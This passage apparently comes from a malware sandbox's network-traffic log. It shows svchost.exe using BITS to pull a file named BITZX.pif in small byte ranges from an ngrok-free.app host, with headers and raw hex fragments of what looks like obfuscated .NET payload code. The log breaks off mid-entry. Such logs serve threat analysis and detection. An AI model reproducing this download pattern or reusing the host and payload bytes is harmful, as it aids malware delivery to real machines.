2025-01-15 14:24:19 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7687-7812 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:20 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 126 Content-Range: bytes 7687-7812/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:19 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:20 UTC	126	IN	Data Raw: 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a Data Ascii: ****************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49790	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:23 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7813-7926 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:24 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 114 Content-Range: bytes 7813-7926/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:24 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:24 UTC	114	IN	Data Raw: 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 Data Ascii: **********00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49791	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:27 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=7927-8321 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:27 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 395 Content-Range: bytes 7927-8321/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:26 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:27 UTC	395	IN	Data Raw: 00 00 00 00 00 00 00 00 2a 41 1c 00 00 00 00 00 00 2d 00 00 00 53 02 00 00 80 02 00 00 70 00 00 00 56 00 00 01 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 41 94 00 00 00 00 00 00 5c 08 00 00 8c 00 00 00 e8 08 00 00 70 00 00 00 56 00 00 01 00 00 00 00 60 01 00 00 70 00 00 00 d0 01 00 00 70 00 00 00 56 00 00 01 00 00 00 00 3c 00 00 00 a8 00 00 00 e4 00 00 00 70 00 00 00 56 00 00 01 02 00 00 00 f8 02 00 00 49 02 00 00 41 05 00 00 68 00 00 00 00 00 00 00 00 00 00 00 33 06 00 00 42 00 00 00 75 06 00 00 6d 00 00 00 56 00 00 01 00 00 00 00 74 02 00 00 58 05 00 00 cc 07 00 00 70 00 00 00 56 00 00 01 12 00 00 14 2a 00 00 00 12 00 Data Ascii: A-SpV.(C(9*00A\pV`ppV<pVIAh3BumVtXpV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49792	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:30 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=8322-8400 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:30 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 79 Content-Range: bytes 8322-8400/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:30 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:30 UTC	79	IN	Data Raw: f6 00 06 20 01 00 00 00 7e 36 68 00 04 7b 3f 68 00 04 3a b2 ff ff ff 26 20 00 00 00 00 38 a7 ff ff ff 1f 0d 80 39 00 00 04 20 06 00 00 00 38 96 ff ff ff 2a 7e 50 00 00 0a 80 38 00 00 04 20 03 00 00 00 38 81 ff ff ff 28 3b f5 00 06 20 02 Data Ascii: ~6h{?h:& 89 8*~P8 8(;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.11.20	49793	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:34 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=8401-8549 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:34 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 149 Content-Range: bytes 8401-8549/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:34 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:34 UTC	149	IN	Data Raw: 00 00 00 38 72 ff ff ff 14 fe 06 d3 00 00 06 73 07 01 00 06 80 37 00 00 04 20 00 00 00 00 7e 36 68 00 04 7b ff 67 00 04 39 4d ff ff ff 26 20 00 00 00 00 38 42 ff ff ff 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 08 00 08 00 00 00 00 00 00 00 00 14 a5 93 00 00 01 2a 01 10 00 00 02 00 2c 00 7d a9 00 68 00 00 00 00 03 30 08 00 08 00 00 00 00 00 00 00 00 14 a5 93 00 00 01 2a 41 1c Data Ascii: 8rs7 ~6h{g9M& 8B000,}h0A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.11.20	49794	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:36 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=8550-8601 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:36 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 52 Content-Range: bytes 8550-8601/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:36 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:36 UTC	52	IN	Data Raw: 00 00 02 00 00 00 53 0b 00 00 9e 01 00 00 f1 0c 00 00 68 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 97 00 Data Ascii: Sh0*A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.11.20	49795	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:39 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=8602-8708 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:39 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 107 Content-Range: bytes 8602-8708/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:38 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:39 UTC	107	IN	Data Raw: 00 00 b8 01 00 00 4f 02 00 00 6d 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 4e 00 00 00 ad 01 00 00 fb 01 00 00 db 00 00 00 56 00 00 01 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a Data Ascii: OmV0ANV*****

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49796	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:42 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=8709-8981 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:42 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 273 Content-Range: bytes 8709-8981/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:42 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:42 UTC	273	IN	Data Raw: 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 Data Ascii: *******************************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49797	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:45 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=8982-9527 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:45 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 546 Content-Range: bytes 8982-9527/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:45 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:45 UTC	546	IN	Data Raw: 03 00 26 01 00 00 01 00 00 11 28 43 f5 00 06 20 06 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 07 00 00 00 05 00 00 00 53 00 00 00 43 00 00 00 aa 00 00 00 97 00 00 00 34 00 00 00 44 00 00 00 38 00 00 00 00 20 ad 46 7c 46 20 e2 63 a9 78 61 7e 36 68 00 04 7b f0 67 00 04 61 28 3d f5 00 06 73 52 00 00 0a 80 3d 00 00 04 20 02 00 00 00 38 ab ff ff ff 28 3b f5 00 06 20 04 00 00 00 38 9c ff ff ff 2a 28 39 f5 00 06 20 05 00 00 00 38 8c ff ff ff 20 ad 8a 51 41 20 2c e9 db 61 61 7e 36 68 00 04 7b 1f 68 00 04 61 28 3d f5 00 06 73 52 00 00 0a 80 3c 00 00 04 20 00 00 00 00 7e 36 68 00 04 7b 3a 68 00 04 39 53 ff ff ff 26 20 00 00 00 00 38 48 ff ff ff 28 29 f6 00 06 20 03 00 00 00 fe 0e 00 00 38 31 ff ff ff 20 ef ec 86 1c 20 35 da f9 71 61 7e 36 68 00 04 7b ef 67 Data Ascii: &(C 8ESC4D8 F\|F cxa~6h{ga(=sR= 8(; 8*(9 8 QA ,aa~6h{ha(=sR< ~6h{:h9S& 8H() 81 5qa~6h{g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49798	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:48 UTC	230	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=9528-10090 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:48 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 563 Content-Range: bytes 9528-10090/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:48 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:48 UTC	563	IN	Data Raw: 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 Data Ascii: 0**00***.(C(900.(C(9*00.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49799	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:50 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=10091-10309 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:50 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 219 Content-Range: bytes 10091-10309/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:50 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:50 UTC	219	IN	Data Raw: 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 07 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 05 00 6f 02 00 00 34 00 00 11 28 43 f5 00 06 20 0e 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 0f 00 00 00 0f 01 00 00 4a 01 00 00 d5 01 00 00 e6 00 00 00 54 00 00 00 59 01 00 00 24 01 00 00 a8 01 00 00 05 00 00 00 7e 01 00 00 98 00 00 00 06 00 00 00 98 01 00 00 30 00 00 00 6b 01 00 00 38 0a 01 00 00 2a 11 01 17 20 Data Ascii: **00***.(C(90o4(C 8EJTY$~0k8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49800	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:54 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=10310-10485 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:54 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 176 Content-Range: bytes 10310-10485/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:54 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:54 UTC	176	IN	Data Raw: 34 fe bb 4a 65 20 9a 9f 3a de 61 7e 36 68 00 04 7b 3f 68 00 04 61 28 3d f5 00 06 a2 20 04 00 00 00 38 8f ff ff ff 28 3b f5 00 06 20 01 00 00 00 7e 36 68 00 04 7b 32 68 00 04 3a 76 ff ff ff 26 20 00 00 00 00 38 6b ff ff ff 11 01 18 20 03 25 af c6 20 0e 0f 76 02 61 20 ef af f5 ed 61 7e 36 68 00 04 7b 1c 68 00 04 61 28 3d f5 00 06 a2 20 03 00 00 00 7e 36 68 00 04 7b 47 68 00 04 3a 32 ff ff ff 26 20 06 00 00 00 38 27 ff ff ff 20 91 d5 ce f8 20 cf 8f 0b 92 61 7e 36 68 00 04 7b 0e 68 00 04 61 28 3d f5 00 06 28 51 01 00 06 7e 60 Data Ascii: 4Je :a~6h{?ha(= 8(; ~6h{2h:v& 8k % va a~6h{ha(= ~6h{Gh:2& 8' a~6h{ha(=(Q~`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49801	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:56 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=10486-10804 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:56 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 319 Content-Range: bytes 10486-10804/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:56 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:56 UTC	319	IN	Data Raw: 68 00 04 28 83 f9 00 06 80 4d 00 00 04 20 02 00 00 00 7e 36 68 00 04 7b 21 68 00 04 3a e4 fe ff ff 26 20 02 00 00 00 38 d9 fe ff ff 73 2e 00 00 0a 80 4c 00 00 04 20 0a 00 00 00 7e 36 68 00 04 7b 37 68 00 04 3a bb fe ff ff 26 20 01 00 00 00 38 b0 fe ff ff 7f 50 00 00 04 fe 15 18 00 00 02 20 09 00 00 00 38 9b fe ff ff 11 01 80 54 00 00 04 20 08 00 00 00 7e 36 68 00 04 7b 32 68 00 04 39 80 fe ff ff 26 20 08 00 00 00 38 75 fe ff ff 28 29 f6 00 06 20 0c 00 00 00 38 66 fe ff ff 19 8d 05 00 00 01 13 01 20 07 00 00 00 38 54 fe ff ff 28 39 f5 00 06 20 0d 00 00 00 fe 0e 00 00 38 3d fe ff ff 7f 51 00 00 04 16 6a 28 57 00 00 0a 20 05 00 00 00 fe 0e 00 00 38 23 fe ff ff 16 80 4b 00 00 04 20 03 00 00 00 38 17 fe ff ff 11 01 16 20 d2 80 60 7e 20 07 8d 3d 0a 61 7e 36 68 Data Ascii: h(M ~6h{!h:& 8s.L ~6h{7h:& 8P 8T ~6h{2h9& 8u() 8f 8T(9 8=Qj(W 8#K 8 `~ =a~6h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49802	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:24:58 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=10805-10963 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:24:58 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 159 Content-Range: bytes 10805-10963/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:24:58 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:24:58 UTC	159	IN	Data Raw: 00 00 00 00 7e 36 68 00 04 7b 26 68 00 04 39 b3 fd ff ff 26 20 00 00 00 00 38 a8 fd ff ff 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 2a 01 10 00 00 00 00 26 00 41 67 00 6d 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 30 00 00 00 24 01 00 00 Data Ascii: ~6h{&h9& 800000&AgmV0A0$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49803	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:01 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=10964-11222 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:01 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 259 Content-Range: bytes 10964-11222/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:01 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:01 UTC	259	IN	Data Raw: 54 01 00 00 6d 00 00 00 56 00 00 01 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 28 00 00 00 4f 01 00 00 77 01 00 00 cb 00 00 00 56 00 00 01 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 17 2a 41 34 00 00 02 00 00 00 ae 00 00 00 7e 00 00 00 2c 01 00 00 68 00 00 00 00 00 00 00 00 00 00 00 61 00 00 00 57 01 00 00 b8 01 00 00 70 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 34 00 00 02 00 00 00 7c 00 00 00 8e 00 00 00 0a 01 00 00 7b 00 00 00 00 00 00 00 00 00 00 00 30 00 00 00 79 01 00 00 a9 01 00 00 70 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 Data Ascii: TmV000A(OwV00A4~,haWpV0A4\|{0ypV0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49804	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:04 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=11223-11347 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:05 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 125 Content-Range: bytes 11223-11347/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:04 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:05 UTC	125	IN	Data Raw: 00 02 00 00 00 b7 00 00 00 fe 01 00 00 b5 02 00 00 95 00 00 00 00 00 00 00 02 00 00 00 29 00 00 00 2e 04 00 00 57 04 00 00 80 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 41 34 00 00 02 00 00 00 22 02 00 00 7a 01 00 00 9c 03 00 00 6d 00 00 00 00 00 00 00 02 00 00 00 4f 00 00 00 de 03 00 00 2d 04 00 00 6d 00 00 00 00 00 00 00 03 30 08 00 04 00 00 00 Data Ascii: ).W0*A4"zmO-m0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49805	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:25:06 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=11348-11608 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:25:06 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 261 Content-Range: bytes 11348-11608/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:25:06 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:25:06 UTC	261	IN	Data Raw: 00 00 00 00 00 00 14 2a 41 1c 00 00 00 00 00 00 79 00 00 00 15 01 00 00 8e 01 00 00 70 00 00 00 56 00 00 01 03 30 08 00 04 00 00 00 00 00 00 00 00 00 14 2a 01 10 00 00 00 00 79 00 eb 64 01 70 56 00 00 01 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 Data Ascii: AypV0ydpV00*******************

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49806	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
